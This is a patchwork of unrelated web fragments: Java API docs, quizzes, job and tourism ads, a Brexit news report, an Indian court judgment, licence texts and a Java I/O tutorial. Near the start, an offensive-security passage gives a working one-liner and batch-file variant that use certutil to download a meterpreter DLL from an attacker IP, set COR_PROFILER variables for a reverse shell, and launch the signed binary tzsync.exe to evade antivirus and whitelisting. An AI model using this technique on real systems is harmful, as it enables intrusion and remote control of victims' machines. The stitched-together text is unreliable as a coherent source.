Provides cookie handling in conjunction with {@link org.apache.commons.httpclient.Cookie}. @since 2.0


Coolness Quiz
How cool R U?
How happy are you?

How big are ur biceps?
results will show when you complete the quiz..

You are NOT a cool person!
Personality Type Quiz
Which best describes you now?


Now we need to create a DLL with the format required by the CLR (we're not going to explain this now). Wint3r did a good job creating a compatible DLL with a meterpreter embedded.
The DLL needs to be created in unmanaged code.
To load the profiler we need a binary using .NET like the following:
powershell.exe
tzsync.exe
AppVStreamingUX.exe
UevTemplateBaselineGenerator.exe
UevAgentPolicyGenerator.exe
stordiag.exe
FileHistory.exe
UevAppMonitor.exe
Microsoft.Uev.SyncController.exe
powershell_ise.exe
...
It's possible to execute managed code using COMs Interop or another DLL.
To make all of this work you need to set every COR related enviroment variable (this don't need any special privileges).
In our tests we didn't have any problem with AVs (Windows Defender, Avast or Cylance) but the DLL got uploaded to VirusTotal and shared in the Telegram group "HackTheBox Hispano" so probably now some AVs may detect it as malware.
certutil -urlcache -split -f http://<IP_ADDRESS>/Beryllium.dll C:\programdata\winter.dll && set "COR_ENABLE_PROFILING=1" && set "COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}" && set "COR_PROFILER_PATH=C:\programdata\winter.dll" && set "IP=<IP_ADDRESS>" && set "PORT=443" && tzsync
The oneliner does the following:
With certutil, we upload the DLL to C:\ProgramData\
We set the profiler env vars.
We set IP and PORT to get our reverse meterpreter.
Finally, we execute a binary that creates a managed process --> tzsync.
And.. Voila!!
Alternatively, you can stick this in a .bat file or otherwise:
echo set "COR_ENABLE_PROFILING=1" > file.bat
echo set "COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}" >> file.bat
echo set "COR_PROFILER_PATH=C:\programdata\MY_DLL.dll" >> file.bat
echo set "IP=<LHOST>" >> file.bat
echo set "PORT=<LPORT>" >> file.bat
echo "tzsync" >> file.bat
cmd < file.bat
Through this technique we have managed to take advantage of system binaries signed by Microsoft (for example, tzsync) that will rarely be blocked to execute a DLL in its context.
Note that depending on the type of policies that are applied to the execution of DLLs, the more restrictives may block the execution of our DLL. In these cases it will be necessary to check (trial and error) directories within zones such as C:\Windows or the Program Files in order succeed.


Thank you for taking the time to help us improve the quality of our products
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Henry Schein | Wolfville, Nova Scotia, Canada (ONSITE) | Full Stack Web Developer | $70k-$90k (CAD) plus benefits
Henry Schein's Global Innovation Center is seeking an experienced Full Stack Web Application Software Engineer with an affinity for working with the latest JavaScript, HTML5, and server side technologies. Located in Wolfville, Nova Scotia, you will join a team with 20+ years experience developing best of breed desktop and web based solutions for Dentistry. Details http://labnet.bitbucket.org/jobs/fullstack.html


CloudGifts operates and manages brands in these main businesses.
Mobile & Web Apps
Fashion & Accessories
Luxury Menswear
Health & Fitness
Technology & Consulting
Education & Nonprofit
About
CloudGifts, Inc. is a privately held, California based, Delaware Corporation. The company was founded in 2013 and operates in a number of different businesses directly and through other brands. CloudGifts has a mission of using cloud technologies to drive business efficiency, deliver goods and services faster, provide amazing products to our customers, and develop lasting relationships with our suppliers.
Contact CloudGifts
Mailing Address:
CloudGifts, Inc.
2201 Francisco Dr.
Suite 140-465
El Dorado Hills, CA 95762


Any UC student or employee coming to campus needs to display a ‘green badge’ on the myberkeley app in order to be on campus, which includes a negative symptom screen. Community members may show this certificate instead. See the link to the myberkeley app badge for a convenient way to display your "badge" on your mobile phone.
To have a ‘green badge’ you either need to be fully vaccinated and have your records of outside vaccinations uploaded to eTang and have had at least one COVID test on campus. Or if you are unvaccinated or not yet fully vaccinated, you will need to continue weekly testing at a campus testing site. For testing, go to eTang.berkeley.edu, select "Schedule an appointment" in the "Appointments" tab and answer a few questions to get started and select a testing location.


Hello world!
Here might be a page title
A paragraph for the main content.
And another one.
Here's some contact info
test main


When creating a reaction, the allowed values for the
content
parameter are as follows (with the corresponding emoji
for reference):
| content | emoji |
|---|---|
+1 |
|
-1 |
|
laugh |
|
confused |
|
heart |
|
hooray |
|
rocket |
|
eyes |


public abstract class IndexResultSet<T> extends java.lang.Object implements HGRandomAccessResult<T>, CountMe
An IndexResultSet
is based on a cursor over an indexed set of values. Implementation of
complex query execution may move the cursor position based on some index key to speed up query processing.
HGRandomAccessResult.GotoResult
| Modifier and Type | Field and Description |
|---|---|
protected ByteArrayConverter<T> |
converter |
protected java.lang.Object |
current |
protected BJETxCursor |
cursor |
protected DatabaseEntry |
data |
protected DatabaseEntry |
key |
protected int |
lookahead |
protected java.lang.Object |
next |
protected java.lang.Object |
prev |
EMPTY
| Modifier | Constructor and Description |
|---|---|
protected |
IndexResultSet()
Construct an empty result set.
|
|
IndexResultSet(BJETxCursor cursor,
DatabaseEntry keyIn,
ByteArrayConverter<T> converter)
Construct a result set matching a specific key.
|
| Modifier and Type | Method and Description |
|---|---|
protected abstract T |
advance() |
protected void |
assignData(DatabaseEntry entry,
byte[] data)
Copy
data into the entry . |
protected abstract T |
back() |
protected void |
checkCursor() |
void |
close()
Free all system resources held up by the result set and invalidate
it for further use.
|
protected void |
closeNoException() |
int |
count() |
T |
current()
Returns the current element in the result set.
|
protected void |
finalize() |
void |
goAfterLast()
Move the cursor of this result set after the last result.
|
void |
goBeforeFirst()
Move the cursor of this result set before the first result.
|
HGRandomAccessResult.GotoResult |
goTo(T value,
boolean exactMatch)
Position the result set at a particular value if that value
is indeed part of the result set.
|
boolean |
hasNext() |
boolean |
hasPrev()
Return
true if there is a previous element in the current
iteration state and false otherwise. |
protected void |
moveNext() |
protected void |
movePrev() |
T |
next() |
protected void |
positionToCurrent(byte[] data,
int offset,
int length) |
T |
prev()
Returns the previous element in this iteration.
|
void |
remove() |
void |
removeCurrent()
Remove current element.
|
clone, equals, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait
isOrdered
protected BJETxCursor cursor
protected java.lang.Object current
protected java.lang.Object prev
protected java.lang.Object next
protected DatabaseEntry key
protected DatabaseEntry data
protected ByteArrayConverter<T> converter
protected int lookahead
protected IndexResultSet()
Construct an empty result set.
public IndexResultSet(BJETxCursor cursor, DatabaseEntry keyIn, ByteArrayConverter<T> converter)
Construct a result set matching a specific key.
cursor
- key
- protected final void closeNoException()
protected final void checkCursor()
protected void assignData(DatabaseEntry entry, byte[] data)
Copy data
into the entry
. Adjust entry
's byte buffer if needed.
entry
- data
- protected final void moveNext()
protected final void movePrev()
protected abstract T advance()
protected abstract T back()
protected void positionToCurrent(byte[] data, int offset, int length)
public void goBeforeFirst()
HGRandomAccessResult
Move the cursor of this result set before the first result. This is equivalent
to resetting the cursor to its initial state, right after the result set was
created. When positioned
before the first result, there is no current element, hasPrev
will
return false and hasNext
will return true if there's at least
one element in this result set.
goBeforeFirst
in interface HGRandomAccessResult<T>
public void goAfterLast()
HGRandomAccessResult
Move the cursor of this result set after the last result. When positioned
after the last result, there is no current element, hasNext
will
return false and hasPrev
will return true if there's at least
one element in this result set.
goAfterLast
in interface HGRandomAccessResult<T>
public HGRandomAccessResult.GotoResult goTo(T value, boolean exactMatch)
HGRandomAccessResult
Position the result set at a particular value if that value is indeed part of the result set.
goTo
in interface HGRandomAccessResult<T>
value
- The value where this result set should be positioned.exactMatch
- A flag indicating whether the passed in value should
match exactly a value in the result set, or whether the cursor should
be positioned to the closest value. Here "closest" means "smallest
greater than the value
parameter.GotoResult
.public final void close()
HGSearchResult
Free all system resources held up by the result set and invalidate it for further use.
close
in interface java.io.Closeable
close
in interface java.lang.AutoCloseable
close
in interface HGSearchResult<T>
close
in interface CloseMe
public final T current()
HGSearchResult
Returns the current element in the result set. If there is no current element,
java.util.NoSuchElementException
is thrown. There
is no current element if the next
method was never invoked.
current
in interface HGSearchResult<T>
HGSearchResult
.public final boolean hasPrev()
TwoWayIterator
Return true
if there is a previous element in the current
iteration state and false
otherwise. After the iterator
has been initialized, the value of hasPrev
will always be
false
.
hasPrev
in interface TwoWayIterator<T>
public final boolean hasNext()
hasNext
in interface java.util.Iterator<T>
public final T prev()
TwoWayIterator
Returns the previous element in this iteration.
prev
in interface TwoWayIterator<T>
public final void remove()
remove
in interface java.util.Iterator<T>
protected void finalize()
finalize
in class java.lang.Object
public void removeCurrent()


{% from "form_macros.html" import render_field %}
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This intensive crash course in passenger services is designed to make you both customer-focused and knowledgeable in the many roles you may fill as a front-line employee.
Learn MorePopularly known as the gateway to South India, Chennai is the capital of the Indian state of Tamil Nadu and the largest commercial centre in the whole of south India in chennai liked the cabs.
Learn MoreWe are offering 100% fresh homemade Tiffin/Lunch/Dinner at reasonable prices with High Quality.Ideal for students, bachelor, and working couples.Free home delivery within or around 5km.
Learn MoreTourism is my lifelong passion, a complete commitment to the field of travelling and tourism. I show my country to my guests and foreign friends. I have more than eight years experience in tourism.
Learn MoreIf you are an economy class traveller, you can enter these lounges at Chennai airport either by purchasing a lounge pass or through a membership program. Visit the individual lounge page for more details (ie. facilities, hours, pass and membership information).
To help you plan your layover or overnight sleepover, here is a quick run-down of what travellers have reported to us during their time at Chennai Airport.
Chennai is the capital city of Indian state of Tamil Nadu. Demonstrating a perfect synergy between modernism and ancient architecture, a holiday to Chennai is sure to refresh you. Identified as the Gateway to the South India, a host of services are offered by Savaari such as a pick of their several car options, courteous drivers and affordable rates.
These ensure a comfortable inter-city trip to Chennai through its Chennai cabs. Savaari is known among its customers as the best value for money platform providing exceptional services. Without any doubt the best option to hire outstation cabs Chennai is through Savaari.
Available daily basis homemade Hygienic & Quality Vegetarian food. Area Covering: Ashoknagar,K.K. Nagar, Ekkaduthangal,Guindy,Jafferkhanpet, Saidapet, West Mambalam, T.Nagar, Kodambakkam, Choolai Medu, Vadapalani,MMDA,MGR Nagar, And IT Peoples ChennaiSambar, Rasam, Kootu & Poriyal (1 set) - Rs. 70/- onlyFull Meals Rs. 85 only (Sambar, Rasam, Kootu, Poriyal, Appalam, Butter Milk, Pickle & Rice)
We Sri Bhuvaneshwari Caterers are always delighted to be at your service; driven by a continuous desire to fulfill your requirements to the best of our abilities, resources and name. Based in Chennai, our skilled workmanship and fine business ethics have helped us gain an enviable reputation of "The Best Marriage Caterers in Chennai " through our 32 years of distinguished operations in the catering business.
Here's our list of private guides in Chennai, India. Viator only promotes tour guides with a professional license or tour guiding certificate, ensuring you have the best possible tour experience in Chennai. Depend on Viator's local experts to craft the perfect private tour, custom tour or shore excursion.
Newly Listed No bookings yet Guide Locations:ChennaiLanguages:English Having grown up in Tamil Nadu, I discovered the passion for travel when I started leading and guiding groups through India. I worked with and for some of the largest tour operators to India.
Stone age implements have been found near Pallavaram in Chennai. According to the Archaeological Survey of India.
Ola provides different types of cab service ranging from economic to luxury travel.The cabs are reserved through a mobile app.
The Madras Club was founded on May 15, 1832 as a European men-only club.Its first President was one H. Chamier.
The Reserve Bank of India ranked Chennai as third largest deposit centre and third largest credit centre nationwide as of June 2012.
Chennai hosts the headquarters of the Southern Railway. The city has two main railway terminals.
The Madras Corporation is the oldest municipal body of the Commonwealth of Nations outside the United Kingdom.
Chennai has world-class medical facilities, including both government-run and private hospitals.
Chennai International Airport, comprising the Anna international terminal and the Kamaraj domestic terminals.
Chennai is the second largest exporter of Software in India.It has the largest operations for India's top software company.


Marketing Collateral
Cross-browser, cross-client, fluid, tables, HTML, CSS, Pardot, email design
Overview
I was the sole designer and developer for the marketing department. I was in charge of designing and developing all the landing pages, newsletters, emails, and sales decks.
Webcast Collateral
The marketing department launched a webcast campaign to help capture leads. This was a challenging project in a number of ways. I was given this project on my first day of work; My turn- around time for design and development was 3 days; and I was doing this all on the Pardot platform, one that I had never used before. Although this was challenging, it proved to myself how much I could accomplish in such a short amount of time. Turned out to be pretty fun :)
Emails were a first for me. The challenge for me was the many constraints email design that I didn't know email had. All the CSS needed to be inline. Everything had to be in tables. In addition to being cross-browser compatible, the design also had to work with email clients that often stripped images and rendered text differently. This was also all done manually, because it was a requirement that the emails were sent through Pardot rather than through a service like MailChimp.
Bi-weekly Newsletter
Marketing Email
Back to Home


Did you know that...
It is one of a pair, and the largest of the salivary glands. It is wrapped around the mandibular ramus, and secretes saliva through Stensen's ducts into the oral cavity, to facilitate mastication and swallowing and to begin the digestion of starches.
The word 'parotid' (paraotic) literally means around the ear. The parotid glands are a pair of serous salivary glands located below and in front of the external acoustic meatus draining their secretions into the vestibule of oral cavity through stensen's duct. They are the largest major salivary glands of the human body.


Oh no! You seem to have filtered out all available recipes! Would you like to clear the filters and try again?
Oh no! You don't seem to have added any recipes to your cookbook! Never fear though, find a recipe you like and then click the 'Add to Cookbook' button located in the 'Additional Actions' section of the recipe card!


Tables
Home
Responsive Tables
Demo: Movie ranking styled reflow
Demo: Movie ranking column toggle options
Demo: Phone comparison
Demo: Financial data w/heading groups


Johnson unveils 'Get Brexit Done' manifesto — key points at a glance
by ReutersBoris Johnson promised £23.5 billion (€27.4 billion) worth of public spending and tax relief on Sunday as he unveiled the Conservative manifesto with a promise that Britain will be out of the European Union by January 31.
The prime minister repeated his “Get Brexit Done” campaign mantra, insisting that he would push his Withdrawal Agreement through parliament before Christmas if he wins an outright majority in the snap December 12 poll.
"Get Brexit done and we shall see a pent up tidal wave of investment into this country," Johnson said.
Read more: Corybn launches radical Labour manifesto with attack on billionaires
With three weeks to go, opinion polls suggest Johnson's party is ahead of opposition Labour and the pro-EU Liberal Democrats, but large numbers of undecided voters and the likelihood of unprececented levels of tactical voting make the outcome hard to predict.
The biggest Conservative pledge is to raise the threshold for National Insurance contributions, followed by extra spending on the health service including more nurses and other crowd-pleasers including a £2 billion (€2.2 billion) pothole repair fund for roads.
It was a far more modest package of voter benefits compared to the Labour Party, which on Thursday published an unashamedly populist manifesto setting out £80 billion in extra spending to be paid for by taxes on "billionaires" and energy companies.
But Johnson's main message is on the well-worn terrority of Brexit, in which he said he would make Brexit happen by the end of January and blamed parliament for thwarting his original plan to leave by October 31.
Labour has said it will negotiate a better Brexit deal with the EU within three months that it will put to voters in a new referendum during which its leader, Jeremy Corbyn, will remain neutral.
Labour spokesman Andrew Gwynne said Johnson's plans were "pathetic".
Held after three years of negotiations to leave the European Union, the December election is exposing wide cracks in Britain's political parties.
Conservative election pledges at a glance
- £23.5 billion worth of tax cuts and public spending between 2020 and 2024
- Raised threshold for National Insurance contributions
- £22 billion further spending on flood defences, rail links and road improvements
- No extension to the Brexit implementation deadline of December 2020
- 50,000 more nurses with — although The Guardian later reported that this figure includes 19,000 nurses who are already in training
- £1 billion extra every year on social care
- Immigration controls for lower-skilled migrants, but fast-track visas for doctors
- Migrants from the EU will only be able to access welfare after five years
- Scrap the Fixed-term Parliaments Act that it introduced in 2010
- At least 2% of spending on defence, ahead of NATO target


Try out our Premium Member services: Virtual Legal Assistant, Query Alert Service and an ad-free experience. Free for one month and pay only if you like it.
IN THE HIGH COURT OF PUNJAB & HARYANA AT CHANDIGARH CWP No.5118 of 2007 Date of Decision: 11.12.2008 Baldev Singh ..Petitioner versus Chairman Punjab Pollution Control Board and others ..Respondents CORAM: HON'BLE MR. JUSTICE T.S.THAKUR,CHIEF JUSTICE HON'BLE MR. JUSTICE JASBIR SINGH 1.Whether Reporters of local papers may be allowed to see the judgment ? 2. Whether to be referred to the Reporters or not ? 3. Whether the judgment should be reported in the Digest? Present : Mr. G.S.Chahal, Advocate for the petitioner Mr. D.S.Patwalia, Advocate for respondents No.1 and 2 Mr. S.S.Behl, Advocate for respondent No.3 Mr. H.S.Sidhu, Addl. A.G. Punjab for respondent No. 4. *****
T.S.Thakur, C.J. (Oral) The grievance of the petitioner in this petition filed in public interest is that the brick kiln established by respondent No. 3 violates the siting guidelines for such kilns and that emission from the kilns are beyond the permissible limits under the Air (Prevention & Control of Pollution) Act, 1981.
Insofar as the first limb of the grievance made by the petitioner CWP No.5118 of 2007 [2] is concerned, it is not in dispute that the unit was a pre-existing unit as on the date the guidelines were issued. There was therefore no question of the said unit being subjected to the rigors of any such siting guidelines. In the case of existing units all that is required is that the stack emissions standards shall be 500 Mg/mm3. This is evident from the following passage appearing in the said guidelines:-
" 2.2.3. The guidelines for sitting of the Brick Kilns, Cement Plants/Grinding Units as prescribed by the Board are as under:-
The following siting guidelines have been framed by the Board for setting up of Brick Kilns, Cement Plants/Grinding units:-
Sr. No. Distance from Distance
i) Municipal Corporation Limits 5 Km
ii) Class A Town & Cities Limits 2 Km
Iii) Other Town and Cities Limits 1 Km
iv) Village Lal Dora/Phirni 500 Mts.
v. Wild Life Sanctuary/Zoo 500 Mts.
vi. National Highway 500 Mts.
Vii. State Highway/Scheduled Road 300 Mts.
Viii. Residential Area (15 pucca houses) 300 Mts.
ix. Educational Institute/ Historical 300 Mts.
Religious Places/ Protected
Monuments
. Emission Standards for Brick Kiln
S.P.M. (Mg/Nm3) 750
. The existing units not meeting the prescribed siting
guidelines will meet a stack emission standard of 500 mg/Nm3."(emphasis supplied) The only question then is whether the Stack Emission CWP No.5118 of 2007 [2] standards of 500 Mg/mm3 are being violated by the brick kiln established by the respondent. We had in that regard directed the Punjab Pollution Control Board by our order dated 16.9.2008 to take samples and report whether the stack emissions were within the permissible limits for a brick kiln established within the prohibited distance under the siting guidelines.
Learned counsel for the Punjab Pollution Control Board in compliance with the said directions has placed on record a status report, according to which as against the upper limit 500 Mg/NM3, the SPM at the brick kiln in question has been recorded as 416 Mg/NM3 at 12% Carbon dioxide. This is according to Punjab Pollution Control Board within the permissible limits. In that view, therefore, the brick kiln does not appear to us to be violating the stack emission standards stipulated for such kilns. There is no merit in this petition which fails and is hereby dismissed but in the circumstances without any order as to costs.
(T.S.THAKUR) CHIEF JUSTICE (JASBIR SINGH) JUDGE 11.12.2008 'ravinder'


DailyRunDetailsController
app.dailyRunDetails
Controller for DailyRunDetails View
DailyRunDetailsController(logger:, $scope:, $timeout:, $http:, $q:, EDocStatement:, $stateParams:);
| Param | Type | Details |
|---|---|---|
| logger: | object | Internal Logging Object |
| $scope: | object | Angular Scope |
| $timeout: | object | Angular timming |
| $http: | object | Angular http client |
| $q: | object | Angular Asyncronus |
| EDocStatement: | object | eDoc Statement |
| $stateParams: | object | Routing information |
Initialize the view
Generate a detailed PDF report of the selected Daily Run
Get the selected Daily Run
get statements matching the Daily ID and Mail Date
| Param | Type | Details |
|---|---|---|
| statement | statement | object containing the statement details |
format numbers (piece counts) w/ comma's (numeralJS library)
| string | number: formatted number w/ comma's |
format numbers (postage) as money (numeralJS library)
| string | number: the number formatted as money |
generic JSON Array sort helper function source/reference: http://stackoverflow.com/questions/11099610/generic-way-of-sorting-json-array-by-attribute


.NET Core and C# Raspberry Pi Rover with Azure IoT Direct Methods
Forward
Left
Right
Circle left
Circle right
Backward
Stop
Rover key controls
Key
Direction
Space
Stop
←
Left
→
Right
↑
Forward
↓
Backward
z
Circle left
x
Circle right
s
Shutdown


"This page is developed for TCS Inframind 2021 for the problem statement Enterprise AI with the use case of IMAGECAPTION(Generating Image Description - what is happening inside an image"


{% extends "p1_endo2/Style.html" %} {% load staticfiles otree %} {% block title %}
Your participation in this study finishes here. Unfortunately, you did not answer all of the comprehension questions correctly.


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Firmware Update based on Nordic DFU Library
Copyright (c) 2015, Nordic Semiconductor All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* Neither the name of Android-DFU-Library nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.

Color picker based on HoloColorPicker by Lars Werkman.
Copyright 2012 Lars Werkman
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
LegacyCompatFileProvider by CommonsWare.
Copyright 2015 CommonsWare, LLC
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.


In Java, input and output are done through streams. If the stream comes into the Java program, it is an input stream. If the stream goes out of the Java program, it is an output stream. The important information when creating a stream object is the source for the input stream and the destination for the output stream. You need this information as an argument to the stream constructor. The shape of the source or destination varies. For example, there may be a file, a console screen, or a socket. There are a lot of stream classes, and understanding the following classifications can help you understand the whole.
The byte stream is input and output in units of 1 byte. It is generally used for I/O to binary files such as videos or images. InputStream and OutputStream are abstract classes and are the top-level classes of all byte stream classes.
package net.java_school.stream; import java.io.FileInputStream; public class Test { public static void main(String[] args) throws Exception { int n = 0; FileInputStream fis = new FileInputStream("C:/javaApp/test.txt"); while ((n = fis.available()) > 0) { byte[] b = new byte[n]; int result = fis.read(b); if (result == -1) { break; } String s = new String(b); System.out.println(s); } fis.close(); } }
Test with the following file:
a b c d e 1 2 3 4 5
The following is an example of creating a copy file.
package net.java_school.stream; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; public class Test { public static void main(String[] args) throws IOException { int n = 0; FileInputStream fis = new FileInputStream("C:/javaApp/test.txt"); FileOutputStream fos = new FileOutputStream("C:/javaApp/testCopy.txt", false); while ((n = fis.available()) > 0) { byte[] b = new byte[n]; int result = fis.read(b); if (result == -1) { break; } fos.write(b); } fis.close(); fos.close(); } }
FileInputStream/FileOutputStream is a class for file I/O in bytes.
In the new FileOutputStream ("C:/javaApp/test.txt", false); false overwrites the existing contents. The methods of the FileInputStream and FileOutputStream used in the examples are described in the InputStream and OutputStream method descriptions.
Reader and Writer are the top-level classes of the character input and output classes. All are abstract classes, and the unit of input and output data in the method is a character.
package net.java_school.stream; import java.io.FileReader; import java.io.FileWriter; public class Test2 { public static void main(String[] args) throws Exception { int n = 0; FileReader fr = new FileReader("C:/javaApp/test.txt"); FileWriter fw = new FileWriter("C:/javaApp/testCopy.txt", false); while ((n = fr.read()) != -1) { fw.write(n); } fr.close(); fw.close(); } }
BufferedReader/BufferedWriter provides a buffering function for character I/O.
package net.java_school.stream; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.FileReader; import java.io.FileWriter; public class Test { public static void main(String[] args) throws Exception { FileReader fr = new FileReader("C:/javaApp/test.txt"); BufferedReader br = new BufferedReader(fr); String s = null; FileWriter fw = new FileWriter("C:/javaApp/testCopy2.txt", false); BufferedWriter bw = new BufferedWriter(fw); while ((s = br.readLine()) != null) { bw.write(s); bw.newLine(); } fr.close(); br.close(); bw.close(); fw.close(); } }
An InputStreamReader is a bridge from byte streams to character streams: It reads bytes and decodes them into characters using a specified charset.
For more information, please visit this.
An OutputStreamWriter is a bridge from character streams to byte streams: Characters written to it are encoded into bytes using a specified charset.
For more information, please visit this.
The following example uses InputStreamReader to convert bytes input from the keyboard to characters.
package net.java_school.stream; import java.io.*; public class InputTest { public static void main(String[] args) throws IOException { InputStreamReader isr = new InputStreamReader(System.in); BufferedReader br = new BufferedReader(isr); String input = br.readLine(); System.out.println("Input: " + input); } }
The example creates an InputStreamReader with the keyboard as the source. In Java, the keyboard is represented by System.in. Then create a BufferedReader object for the buffer function. At this time, the reference value of InputStreamReader is passed as the argument to the BufferedReader's constructor. String input = br.readLine(); waits for user input. The BufferedReader's readLine() method returns a string until the user hits the Enter. The Enter is not included in the string. The string is returned and assigned to the input variable. and the input value is checked by the standard output method on the last line. Find and confirm the BufferedReader in the Java documentation. The last line of code prints the value assigned to input. For more information about the BufferedReader, please visit this.
The following example prints character data to a file.
package net.java_school.stream; import java.io.*; public class OutputTest { public static void main(String[] args) { FileWriter fw = null; try { fw = new FileWriter("C:/output.txt", true); fw.write("TEST"); fw.flush(); } catch(IOException e) { e.printStackTrace(); } finally { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } }
The FileWriter class is used to output character data to a file. In the FileWriter class constructor, the first argument is the destination, and the second argument is a flag that determines whether to keep the existing contents in the file. If true, leave the existing contents intact. It is important to close the output stream. fw.close(); closes the output stream.
package net.java_school.stream; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.FileReader; import java.io.FileWriter; import java.io.IOException; public class SubtitleToText { public static void main(String[] args) throws IOException { FileReader fr = null; FileWriter fw = null; BufferedReader br = null; BufferedWriter bw = null; if (args.length >= 2) { try { fr = new FileReader(args[0]); br = new BufferedReader(fr); fw = new FileWriter(args[1], false); bw = new BufferedWriter(fw); String s = null; while ((s = br.readLine()) != null) { try { Integer.parseInt(s); } catch (NumberFormatException e) { if (!s.contains("->")) { bw.write(s); bw.newLine(); } } } } catch (IOException e) { e.printStackTrace(); } finally { try { if (fr != null) { fr.close(); } } catch (IOException e) { e.printStackTrace(); } try { if (br != null) { br.close(); } } catch (IOException e) { e.printStackTrace(); } try { if (bw != null) { bw.close(); } } catch (IOException e) { e.printStackTrace(); } try { if (fw != null) { fw.close(); } } catch (IOException e) { e.printStackTrace(); } } } } }
package net.java_school.stream; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.net.MalformedURLException; import java.net.URL; public class URLTest { public static void main(String[] args) { String url = "http://www.java-school.net"; String file = "index.html"; InputStream in = null; BufferedReader br = null; FileOutputStream fos = null; BufferedWriter bw = null; try { in = (new URL(url)).openStream(); br = new BufferedReader(new InputStreamReader(in)); fos = new FileOutputStream(file); bw = new BufferedWriter(new OutputStreamWriter(fos)); String str = null; while ((str = br.readLine()) != null) { bw.write(str); bw.newLine(); } } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { if (br != null) { try { br.close(); } catch (IOException e) { e.printStackTrace(); } } if (bw != null) { try { bw.close(); } catch (IOException e) { e.printStackTrace(); } } if (fos != null) { try { fos.close(); } catch (IOException e) { e.printStackTrace(); } } } } }
The following is an example of an object stream. A serialization process is required to pass an object through a file or network. A deserialization process is required to reconstruct an object from a file or an object stream passed over the network. The example stores object information in a file, and creates an object from the file where object information is stored.
package net.java_school.serial; import java.io.Serializable; public class Address implements Serializable { private static final long serialVersionUID = -201008311558L; private String mobile; private String address; public String getMobile() { return mobile; } public void setMobile(String mobile) { this.mobile = mobile; } public String getAddress() { return address; } public void setAddress(String address) { this.address = address; } }
If the Address object is to be serialized and stored in a file in a stream, the Address class must declare that it implements the Serializable interface. public class Address implements Serializable The Serializable interface does not have a method to implement. The Serializable interface only tells the virtual machine that objects created from the class are serialized. Such an interface is called a declarative interface. Java's primitive data types do not require serialization, and many popular classes such as String and Collection are serializable. These classes have implements Serializable in the class declaration. If the class we want to create needs serialization, we need implements Serializable in the class declaration.
package net.java_school.serial; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; public class Backup { public static void main(String[] args) { ObjectOutputStream out = null; try { out = new ObjectOutputStream(new FileOutputStream("address.txt")); Address addr = new Address(); addr.setMobile("212-963-4475"); addr.setAddress("760 United Nations Plaza, Manhattan, New York City"); out.writeObject(addr); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { try { out.close(); } catch (IOException e) { e.printStackTrace(); } } } }
The Backup class creates an Address object and stores it in a file. We used ObjectOutputStream to create the object stream and FileOutputStream to store the Address object in the file.
The following example creates an object from the object information stored in a file.
package net.java_school.serial; import java.io.EOFException; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; public class Recovery { public static void main(String[] args) { ObjectInputStream in = null; try { in = new ObjectInputStream(new FileInputStream("address.txt")); while(true) { Address addr = (Address) in.readObject(); System.out.println(addr.getMobile()); System.out.println(addr.getAddress()); } } catch (FileNotFoundException e) { e.printStackTrace(); } catch (EOFException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } finally { try { in.close(); } catch (IOException e) { e.printStackTrace(); } } } }
This example creates an object of the same content from the object information stored in the address.txt file and puts it in the heap memory. This example uses a FileInputStream to read bytes from a file. This example uses an ObjectInputStream for an object stream coming into a Java program. Serialization is necessary to understand RMI basic concepts.
Create and test a new class called BankUi as shown below.
package net.java_school.bank; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; public class BankUi{ public static void main(String[] args) throws IOException { InputStreamReader isr = new InputStreamReader(System.in); BufferedReader br = new BufferedReader(isr); String input = br.readLine(); System.out.println("Input: " + input); } }
Change the BankUi as shown below and implement the TODO part.
package net.java_school.bank; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; public class BankUi { private Bank bank = new ShinhanBank(); private String readCommandLine() throws IOException { InputStreamReader isr = new InputStreamReader(System.in); BufferedReader br = new BufferedReader(isr); String input = br.readLine(); return input; } public void startWork() { String menu = null; do { System.out.println(" ** Menu ** "); System.out.println(" 1 ** Bank account registration "); System.out.println(" 2 ** List of bank accounts "); System.out.println(" 3 ** Deposit "); System.out.println(" 4 ** Withdrawal "); System.out.println(" 5 ** Transfer "); System.out.println(" 6 ** Transaction history "); System.out.println(" q ** Exit "); System.out.println(" ********************** "); System.out.print(">>"); try { menu = readCommandLine(); if (menu.equals("1")) { //TODO Bank account registration } else if (menu.equals("2")) { //TODO List of bank accounts } else if (menu.equals("3")) { //TODO Deposit } else if (menu.equals("4")) { //TODO Withdrawal } else if (menu.equals("5")) { //TODO Transfer } else if (menu.equals("6")) { //TODO Transaction history } } catch (Exception e) { e.printStackTrace(); } System.out.println(); } while (!menu.equals("q")); } public static void main(String[] args) { BankUi ui = new BankUi(); ui.startWork(); } }
